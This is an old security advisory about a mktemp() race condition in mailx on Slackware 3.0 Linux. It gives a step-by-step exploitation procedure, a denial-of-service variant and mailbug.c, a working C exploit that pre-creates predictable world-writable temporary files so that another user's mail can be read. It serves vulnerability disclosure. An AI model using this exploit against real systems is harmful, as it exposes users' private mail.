COMMAND
mailx
SYSTEMS AFFECTED
Slackware 3.0 Linux and others with mailx-5.5
PROBLEM
There is a problem prevalent in the way many programs implement
their usage of mktemp() in order to create temporary files in
/tmp, allowing users on a machine to read and write to the
contents of temporary files created.
The basic problem is that there is a race condition that exists
between the point that a program calls mktemp(), and the pathname
returned by mktemp is actually created. For some programs, the
file creation is immediately or almost immediately following the
mktemp(), resulting in an extremely small window of opportunity,
and as a result making it very difficult to exploit. However,
there are other programs that do not immediately open the file,
and in these cases it is only a matter of getting the timing
right in order to exploit the hole.
To exploit this hole, simply create the file that mktemp()
returns as a valid temporary filename after mktemp() has been
called, but before the file has been opened, allowing the user
running the program permissions to read and write from that
temporary file. The program will then succeed in an fopen, and
will write to the file, oblivious to the fact that it didn't
actually create the file, and that others can also read and write
from the file.
Note that most programs will immediately unlink() a temporary
file, but that does not delete it until after it is closed.
Closing a file results in the contents of it being flushed, and
so by using a 'tail -f' or a similar procedure, you can capture
the contents of the file before it is removed from the filesystem.
The filename returned by mktemp() is easily determined for most
unix platforms, allowing this bug to be exploited. For the linux
libc, this is to replace the X's in the template with the
leftmost digit starting at 'a', and then being incremented
'a'-'z', 'A'-'Z', and '0'-'9' (if that file already exists), and
then replacing the rest of the X's with the process id (0
padded). Other operating systems use a variation of this
technique, experimentation easily reveals the algorithm.
The generic procedure used to formulate an exploit for a
particular program with this bug is as follows:
1. detect the execution of the program.
2. determine the temporary filename that mktemp() will return
when called by the program.
3. determine the point at which mktemp() is called by the
program, and immediately following that point, create the
file, with rw permissions for the user who is running the
program.
4. read the contents of the temporary file, using a 'tail -f'
or your own routines.
5. if the sticky bet is set on /tmp, clean up your mess by
rm'ing the temp file you created, since the unlink()
called by the actual program will fail if you are the
owner.
Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5),
suffers from this mktemp() problem in all temporary files it
creates. It uses 5 temporary files with filenames generated
during the program's initialization in a tinit() function, and
then uses them as it becomes necessary during the program's
execution. The race condition begins in this tinit() function.
The temporary files that can be exploited are as follows:
/tmp/ReXXXXXX
Used when a user selects 'e' from the mailx command prompt,
to edit mail. The message the user has selected to edit is
copied to the temporary file at this point, and then the
editor is invoked on that temp file. The race condition ends
when the user has selected 'e', and allows the mesage being
edited to be read.
/tmp/RsXXXXXX
Used when a user sends mail, usually from the command line,
such as: 'mail dave'. The race condition ends when EOF is
recieved from stdin, and the message is about to be sent, and
allows the outgoing mail to be read.
/tmp/RqXXXXXX
Used when mail arrives into the mail spool while mail is
currently running. The race condition ends when the program
is preparing to shutdown, and allows the new contents of the
mail spool to be read.
/tmp/RmXXXXXX
Used to prepend a message to the user's mbox file. Prepending
requires the entire mbox contents to be read to the temporary
file and then appened to the new message(s) being added to
the file. This is disabled by default in Slackware 3.0 in
the /etc/mail.rc by the use of the set append option. For
this to be useful, that option needs to be removed from
/etc/mail.rc, or an unset append needs to be added to the
user executing mail's .mailrc file. The race condition ends
when the program is preparing to shutdown
/tmp/RxXXXXXX
Used to read messages from the user's mail spool. The race
condition ends during the program's startup, when the mail
spool is read, and allows any new mail in the user's spool to
be read. Because there is no user input between tinit() and
this point, it is the only race condition that isn't
completely trivial to exploit.
The exploit that follows demonstrates the flaws in all but the
final temporary file. To use, wait for a mail process to
execute, then call the mailbug program with the process id as an
argument, and finally execute a tail -f /tmp/R*, and let it run
until the mail program has terminated execution.
As an aside, there are a number of programs that are vulnerable
to a directed denial of service attack preventing people from
using them by creation of the 62 temporary files that are
attempted to be used by mktemp(), resulting in the failure of the
program to run. By continous running of a program watching for
these vulnerable programs to start, they can be prevented from
ever successfully executing (one such example of this is
in.pop3d, which would allow a denial of service attack against a
specific user from recieving mail through pop).
mailbug.c:
/* This program creates temporary files used by mailx (/bin/mail
under Slackware 3.0), which can then be read by the program.
This will exploit 4 of the 5 temporary files, the final temporary
file is a tighter race condition, and is not handled by this code.
Following execution of this program with the process id of mail
that is running, execute 'tail -f /tmp/R*', redirecting to a file
if desired, and allow it to run until the mail process has exited.
This can be easily handled in a shell script, but is not included
since it is not needed to sufficiently demonstrate the security
flaw.
Dave M. (davem@cmu.edu)
*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void exploit_mktemp(char *dest, char *prepend, char *pid)
{
int i;
strcpy(dest,prepend);
for(i=strlen(pid);i<6;i++)
strcat(dest,"0");
strcat(dest,pid);
dest[strlen(prepend)] = 'a';
}
main(int argc, char **argv)
{
char tmpf[5][80]; /* hold filename */
umask(0);
if(argc<2)
{
printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
return -1;
}
/* get mktemp filenames */
exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);
/* create temporary files */
creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
}
SOLUTION
chmod o-x /usr/bin/Mail (ie: use something else)